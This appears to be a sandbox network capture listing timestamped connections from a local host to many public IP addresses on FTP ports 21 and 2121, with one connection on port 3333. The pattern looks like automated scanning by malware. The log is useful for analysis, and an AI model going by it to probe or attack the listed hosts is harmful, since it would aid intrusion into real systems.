Aug 23, 2023 09:16:43.429130077 CEST	52442	21	192.168.2.3	174.131.49.52
Aug 23, 2023 09:16:43.431819916 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.433762074 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.435708046 CEST	21	52486	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.437406063 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.437719107 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.439260960 CEST	2121	52476	74.214.188.43	192.168.2.3
Aug 23, 2023 09:16:43.444500923 CEST	52511	21	192.168.2.3	73.71.220.216
Aug 23, 2023 09:16:43.444566965 CEST	52443	2121	192.168.2.3	174.131.49.52
Aug 23, 2023 09:16:43.450196981 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.450625896 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.452888012 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.460215092 CEST	52446	2121	192.168.2.3	24.175.58.1
Aug 23, 2023 09:16:43.460221052 CEST	52445	21	192.168.2.3	24.175.58.1
Aug 23, 2023 09:16:43.465832949 CEST	21	52488	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:43.469255924 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.513374090 CEST	52512	2121	192.168.2.3	73.71.220.216
Aug 23, 2023 09:16:43.513916016 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.514413118 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:43.522663116 CEST	52447	21	192.168.2.3	20.27.196.190
Aug 23, 2023 09:16:43.523293972 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:43.531157017 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.531549931 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.533610106 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.534317017 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.541389942 CEST	52449	21	192.168.2.3	45.187.50.132
Aug 23, 2023 09:16:43.550514936 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.550681114 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.550762892 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.550920010 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.551126003 CEST	52499	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.551811934 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.555624008 CEST	52448	2121	192.168.2.3	20.27.196.190
Aug 23, 2023 09:16:43.563873053 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.565329075 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.565781116 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.567327976 CEST	21	52499	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.568253994 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.569331884 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.585160971 CEST	52450	2121	192.168.2.3	45.187.50.132
Aug 23, 2023 09:16:43.585172892 CEST	52477	21	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:43.601119995 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.605384111 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.616492033 CEST	52451	21	192.168.2.3	209.143.6.253
Aug 23, 2023 09:16:43.618016958 CEST	2121	52492	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:43.632071972 CEST	52452	2121	192.168.2.3	209.143.6.253
Aug 23, 2023 09:16:43.634560108 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.635307074 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.638722897 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.638755083 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.639045000 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.639045000 CEST	52501	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.639741898 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.664153099 CEST	52515	21	192.168.2.3	77.98.113.12
Aug 23, 2023 09:16:43.665045023 CEST	52516	2121	192.168.2.3	77.98.113.12
Aug 23, 2023 09:16:43.666318893 CEST	52517	21	192.168.2.3	34.154.172.113
Aug 23, 2023 09:16:43.667150974 CEST	52518	2121	192.168.2.3	34.154.172.113
Aug 23, 2023 09:16:43.668786049 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.668978930 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.671530008 CEST	2121	52501	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.679568052 CEST	52519	21	192.168.2.3	92.15.31.4
Aug 23, 2023 09:16:43.680212975 CEST	52520	2121	192.168.2.3	92.15.31.4
Aug 23, 2023 09:16:43.680984974 CEST	52521	21	192.168.2.3	82.1.240.158
Aug 23, 2023 09:16:43.689759016 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.689810991 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.689847946 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.689946890 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:43.690095901 CEST	52469	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:43.691040993 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:43.711853027 CEST	52523	2121	192.168.2.3	82.1.240.158
Aug 23, 2023 09:16:43.742863894 CEST	52524	21	192.168.2.3	113.172.125.212
Aug 23, 2023 09:16:43.743524075 CEST	52525	2121	192.168.2.3	113.172.125.212
Aug 23, 2023 09:16:43.767748117 CEST	52526	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:43.773654938 CEST	52527	21	192.168.2.3	216.128.136.49
Aug 23, 2023 09:16:43.773715973 CEST	52528	2121	192.168.2.3	216.128.136.49
Aug 23, 2023 09:16:43.786406994 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.786845922 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.788881063 CEST	52529	21	192.168.2.3	217.226.35.49
Aug 23, 2023 09:16:43.803237915 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.803929090 CEST	52479	2121	192.168.2.3	220.122.163.146
Aug 23, 2023 09:16:43.804111004 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.804719925 CEST	52530	2121	192.168.2.3	217.226.35.49
Aug 23, 2023 09:16:43.804959059 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.806797981 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.808095932 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:43.808495045 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:43.821264982 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.836860895 CEST	21	52477	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:43.854258060 CEST	52531	21	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:43.872546911 CEST	21	52469	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.872590065 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:43.873456955 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:43.879717112 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:43.899530888 CEST	52456	21	192.168.2.3	112.214.241.2
Aug 23, 2023 09:16:43.913409948 CEST	52505	21	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:43.913455963 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:43.913455963 CEST	52506	2121	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:43.919317961 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:43.960350037 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:43.967191935 CEST	21	52505	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:43.967216969 CEST	2121	52506	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:43.979552984 CEST	52488	21	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:43.980627060 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.006911993 CEST	21	52531	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:44.039578915 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.055876970 CEST	2121	52479	220.122.163.146	192.168.2.3
Aug 23, 2023 09:16:44.081500053 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:44.101077080 CEST	52459	2121	192.168.2.3	112.214.241.2
Aug 23, 2023 09:16:44.117594004 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.117908955 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.117908955 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:44.118087053 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.119071007 CEST	52532	2121	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:44.119071960 CEST	52533	21	192.168.2.3	77.183.54.41
Aug 23, 2023 09:16:44.119235039 CEST	52534	2121	192.168.2.3	77.183.54.41
Aug 23, 2023 09:16:44.132067919 CEST	52492	2121	192.168.2.3	112.214.2.136
Aug 23, 2023 09:16:44.133884907 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.134107113 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.134237051 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.134305954 CEST	52513	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.134876013 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.146616936 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.148164988 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.148436069 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.150495052 CEST	21	52513	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.151067972 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.151134968 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.162245989 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.162575006 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.181693077 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.182080984 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.211863995 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.212635994 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.212706089 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.213346004 CEST	52514	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.214189053 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.225891113 CEST	52460	21	192.168.2.3	201.19.182.127
Aug 23, 2023 09:16:44.241873026 CEST	2121	52514	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.243307114 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.243382931 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.249779940 CEST	21	52488	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:44.276978970 CEST	2121	52532	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:44.287729025 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:44.287753105 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:44.289460897 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.289493084 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.289587021 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.291232109 CEST	52500	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.291785955 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:44.292004108 CEST	52537	2121	192.168.2.3	213.157.13.101
Aug 23, 2023 09:16:44.293572903 CEST	52538	21	192.168.2.3	213.157.13.101
Aug 23, 2023 09:16:44.293908119 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.319562912 CEST	52463	2121	192.168.2.3	201.19.182.127
Aug 23, 2023 09:16:44.350075006 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.350461006 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.366731882 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.366897106 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.367305040 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.375755072 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.375986099 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.376000881 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.376068115 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.376254082 CEST	52490	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.377104044 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.383518934 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.398639917 CEST	2121	52492	112.214.2.136	192.168.2.3
Aug 23, 2023 09:16:44.399446011 CEST	52541	21	192.168.2.3	91.60.195.200
Aug 23, 2023 09:16:44.447344065 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.447968006 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.456657887 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.456976891 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.462635040 CEST	21	52500	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.465248108 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.465352058 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.473268986 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.473320961 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.473337889 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.473412991 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.473535061 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.474237919 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.475811958 CEST	52505	21	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:44.476166010 CEST	52506	2121	192.168.2.3	62.28.231.253
Aug 23, 2023 09:16:44.485713005 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.487231016 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.487742901 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.490528107 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.490616083 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.491445065 CEST	52466	21	192.168.2.3	84.177.215.70
Aug 23, 2023 09:16:44.507055044 CEST	52531	21	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:44.519623041 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.521579027 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:44.529329062 CEST	21	52505	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:44.529644012 CEST	2121	52506	62.28.231.253	192.168.2.3
Aug 23, 2023 09:16:44.540065050 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.541733027 CEST	52543	2121	192.168.2.3	91.60.195.200
Aug 23, 2023 09:16:44.541806936 CEST	52544	21	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:44.570103884 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.570300102 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.570898056 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.570964098 CEST	52536	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.571145058 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.589529037 CEST	21	52490	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.590641022 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.590712070 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.600003004 CEST	2121	52536	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.600886106 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.600955963 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.643544912 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.643883944 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.656888962 CEST	21	52531	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:44.695621014 CEST	52546	2121	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:44.705169916 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.705562115 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.721815109 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.722280979 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.722631931 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.725308895 CEST	21	52544	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:44.738719940 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.788453102 CEST	52532	2121	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:44.788453102 CEST	52535	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.799495935 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.800420046 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.802083969 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.802469969 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.804735899 CEST	21	52535	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.812742949 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:44.813146114 CEST	52540	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:44.815131903 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.816445112 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:44.816778898 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:44.818423033 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.818463087 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.818481922 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.818520069 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.818705082 CEST	52542	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.819900990 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.831358910 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.833100080 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.833504915 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.834814072 CEST	21	52542	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.836102009 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:44.836184978 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:44.865180016 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:44.892311096 CEST	2121	52546	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:44.913418055 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:44.946679115 CEST	2121	52532	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:44.988805056 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:45.022850990 CEST	52473	2121	192.168.2.3	84.177.215.70
Aug 23, 2023 09:16:45.022875071 CEST	52474	2121	192.168.2.3	115.66.28.139
Aug 23, 2023 09:16:45.022902012 CEST	52472	21	192.168.2.3	115.66.28.139
Aug 23, 2023 09:16:45.027117014 CEST	21	52540	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:45.038646936 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.040661097 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.085380077 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.165651083 CEST	52531	21	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:45.229553938 CEST	52544	21	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:45.255892992 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.256860018 CEST	52548	21	192.168.2.3	20.29.241.241
Aug 23, 2023 09:16:45.256860018 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.257667065 CEST	52549	2121	192.168.2.3	20.29.241.241
Aug 23, 2023 09:16:45.257769108 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.262731075 CEST	52550	21	192.168.2.3	182.182.244.237
Aug 23, 2023 09:16:45.262814999 CEST	52551	2121	192.168.2.3	182.182.244.237
Aug 23, 2023 09:16:45.262819052 CEST	52552	21	192.168.2.3	45.224.204.47
Aug 23, 2023 09:16:45.272774935 CEST	52480	21	192.168.2.3	90.215.9.83
Aug 23, 2023 09:16:45.272778034 CEST	52481	2121	192.168.2.3	90.215.9.83
Aug 23, 2023 09:16:45.272893906 CEST	52484	2121	192.168.2.3	35.234.57.102
Aug 23, 2023 09:16:45.272893906 CEST	52482	21	192.168.2.3	35.234.57.102
Aug 23, 2023 09:16:45.274290085 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.275439978 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.275860071 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.285785913 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.286276102 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.286295891 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.286454916 CEST	52545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.286900997 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.288424015 CEST	52483	21	192.168.2.3	73.174.59.32
Aug 23, 2023 09:16:45.290726900 CEST	52554	2121	192.168.2.3	45.224.204.47
Aug 23, 2023 09:16:45.290790081 CEST	52555	21	192.168.2.3	151.225.165.252
Aug 23, 2023 09:16:45.292043924 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.305586100 CEST	52556	2121	192.168.2.3	151.225.165.252
Aug 23, 2023 09:16:45.315033913 CEST	2121	52545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.316553116 CEST	21	52531	23.29.85.10	192.168.2.3
Aug 23, 2023 09:16:45.318166971 CEST	52557	21	192.168.2.3	4.180.3.149
Aug 23, 2023 09:16:45.318634987 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.319839954 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.320385933 CEST	52558	2121	192.168.2.3	4.180.3.149
Aug 23, 2023 09:16:45.321063042 CEST	52559	21	192.168.2.3	75.65.42.138
Aug 23, 2023 09:16:45.325933933 CEST	52560	2121	192.168.2.3	75.65.42.138
Aug 23, 2023 09:16:45.376240015 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.377216101 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.393544912 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.393564939 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.393615007 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.394051075 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.394099951 CEST	52547	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.394398928 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.399015903 CEST	52546	2121	192.168.2.3	156.255.34.133
Aug 23, 2023 09:16:45.410371065 CEST	21	52547	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.410567045 CEST	21	52561	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:45.412122011 CEST	52561	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:45.413140059 CEST	21	52544	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:45.428786993 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:45.428809881 CEST	21	52539	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:45.428906918 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.429131031 CEST	52487	2121	192.168.2.3	73.174.59.32
Aug 23, 2023 09:16:45.434170961 CEST	52539	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.435410976 CEST	52562	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:45.437557936 CEST	52563	21	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:45.461579084 CEST	52532	2121	192.168.2.3	23.29.85.10
Aug 23, 2023 09:16:45.484302044 CEST	21	52522	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:45.490427971 CEST	52564	2121	192.168.2.3	119.218.14.42
Aug 23, 2023 09:16:45.492652893 CEST	52522	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:45.492938995 CEST	52565	21	192.168.2.3	52.175.251.212
Aug 23, 2023 09:16:45.493541002 CEST	52566	2121	192.168.2.3	52.175.251.212
Aug 23, 2023 09:16:45.493702888 CEST	52567	21	192.168.2.3	188.16.98.201
Aug 23, 2023 09:16:45.521620989 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.521904945 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.539375067 CEST	52568	2121	192.168.2.3	188.16.98.201
Aug 23, 2023 09:16:45.553745985 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.555005074 CEST	52570	2121	192.168.2.3	71.197.11.168
Aug 23, 2023 09:16:45.555063009 CEST	52569	21	192.168.2.3	71.197.11.168
Aug 23, 2023 09:16:45.555152893 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.555568933 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.570893049 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:45.590028048 CEST	2121	52553	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:45.592128038 CEST	52553	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:45.595639944 CEST	2121	52546	156.255.34.133	192.168.2.3
Aug 23, 2023 09:16:45.601573944 CEST	52571	21	192.168.2.3	72.211.60.15
Aug 23, 2023 09:16:45.605437040 CEST	21	52539	45.136.233.16	192.168.2.3
